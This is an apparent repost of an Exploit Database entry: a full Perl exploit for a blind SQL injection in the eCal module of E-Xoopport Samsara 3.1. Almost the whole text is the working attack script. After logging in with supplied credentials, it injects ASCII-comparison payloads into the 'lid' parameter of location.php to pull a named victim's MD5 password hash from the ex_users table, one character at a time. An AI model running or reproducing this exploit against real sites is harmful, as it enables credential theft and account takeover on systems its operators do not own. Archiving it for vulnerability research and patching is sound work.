E-Xoopport Samsara 3.1 (eCal Module) – Blind SQL Injection

• Exploit Database
• 12 阅读

• 作者： _mRkZ_
  日期： 2010-09-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15110/

• #!/usr/bin/perl
  # [0-Day] E-Xoopport - Samsara <= v3.1 (eCal module) Remote Blind SQL Injection Exploit
  # Author/s: _mRkZ_, WaRWolFz Crew
  # Created: 2010.09.12 after 0 days the bug was discovered.
  # Greetings To: Dante90, Shaddy, StutM, WaRWolFz Crew
  # Web Site: www.warwolfz.org
  
  use strict;
  use warnings;
  use LWP::UserAgent;
  use HTTP::Cookies;
  use HTTP::Request::Common;
  
  $^O eq 'MSWin32' ? system('cls') : system('clear');
  
  print "
  
  E-Xoopport - Samsara <= v3.1 (eCal Module) Remote Blind SQL Injection Exploit
  
  +---------------------------------------------------+
  | Script: E-Xoopport|
  | Affected versions: 3.1|
  | Bug: Remote Blind SQL Injection (eCal module) |
  | Author/s: _mRkZ_, WaRWolFz Crew |
  | Greetz: Dante90, Shaddy, StutM, WarWolFz Crew |
  | Web Site: www.warwolfz.org|
  +---------------------------------------------------+
  | Warn: You must be able to access to 'eCal' Module |
  +---------------------------------------------------+
  \r\n";
  
  if (@ARGV != 4) {
  	print "\r\nUsage: perl expolit_name.pl <VictimeHost> <YourNick> <YourPass> <NickToHack>\r\n";
  	exit;
  }
  
  my $host= $ARGV[0];
  my $usr = $ARGV[1];
  my $pwd = $ARGV[2];
  my $anickde = $ARGV[3];
  my $anick = '0x'.EncHex($anickde);
  
  print "[!] Logging In...\r\n";
  
  my %postdata = (
  	uname => "$usr",
  	pass => "$pwd",
  	op => "login"
  );
  my $cookies = HTTP::Cookies->new(
  	autosave => 1,
  );
  
  my $ua = LWP::UserAgent->new;
  $ua->agent("Mozilla 5.0");
  $ua->cookie_jar($cookies);
  
  my $req		= (POST $host."/user.php", \%postdata);
  my $request	= $ua->request($req);
  my $content	= $request->content;
  if ($content =~ /<h4>Benvenuto su/i) {
  	print "[+] Logged in!\r\n";
  } else {
  	print "[-] Fatal Error: username/password incorrect?\r\n";
  	exit;
  }
  
  print "[!] Checking permissions...\r\n";
  $ua = LWP::UserAgent->new;
  $ua->agent("Mozilla 5.0");
  $req = $host."/modules/eCal/location.php?lid=1+AND+1=1";
  $ua->cookie_jar($cookies);
  $request	= $ua->get($req);
  $content	= $request->content;
  if ($content !~ /<b>Eventi nella località: <\/b>/ig) {
  	print "[+] Fatal Error: Access denied\r\n";
  	exit;
  } else {
  	print "[+] You have permissions\r\n";
  }
  
  print "[!] Exploiting...\r\n";
  my $i = 1;
  my $pwdchr;
  while ($i != 33) {
  	my $wn	= 47;
  	while (1) {
  		$wn++;
  		my $ua = LWP::UserAgent->new;
  		$ua->agent("Mozilla 5.0");
  		my $req		= $host."/modules/eCal/location.php?lid=1+AND+ascii(substring((SELECT+pass+FROM+ex_users+WHERE+uname=$anick+LIMIT+0,1),$i,1))=$wn";
  		$ua->cookie_jar($cookies);
  		my $request	= $ua->get($req);
  		my $content	= $request->content;
  		open LOGZZ, '>lol.html';
  		print LOGZZ $content;
  		close LOGZZ;
  		if ($content !~ /<b>Eventi nella località: <\/b><a href='https://www.exploit-db.com/exploits/15110/localleve\.php\?lid='>/ig) {
  			my $cnt = $1;
  			$pwdchr .= chr($wn);
  			$^O eq 'MSWin32' ? system('cls') : system('clear');
  			PrintChars($anickde, $pwdchr);
  			last;
  		}
  	}
  	$i++;
  }
  
  print "\r\n[!] Exploiting completed!\r\n\r\n";
  print "Visit: www.warwolfz.org\r\n\r\n";
  
  sub PrintChars {
  	my $anick1 = $_[0];
  	my $chars = $_[1];
  print "
  
  E-Xoopport - Samsara <= v3.1 (eCal module) Remote Blind SQL Injection Exploit
  
  +---------------------------------------------------+
  | Script: E-Xoopport|
  | Affected versions: 3.1|
  | Bug: Remote Blind SQL Injection (eCal module) |
  | Author/s: _mRkZ_, WaRWolFz Crew |
  | Greetz: Dante90, Shaddy, StutM, WarWolFz Crew |
  | Web Site: www.warwolfz.org|
  +---------------------------------------------------+
  | Warn: You must be able to access to 'eCal' Module |
  +---------------------------------------------------+
  
  [!] Logging In...
  [+] Logged in!
  [!] Checking permissions...
  [+] You have permissions
  [!] Exploiting...
  [+] ".$anick1."'s md5 Password: ".$chars."
  ";
  }
  
  sub EncHex {
  	my $char = $_[0];
  	chomp $char;
  	my @trans = unpack("H*", "$char");
  	return $trans[0];
  }
  
  
  #[Unit-X] Vuln-X DB 2010.09.21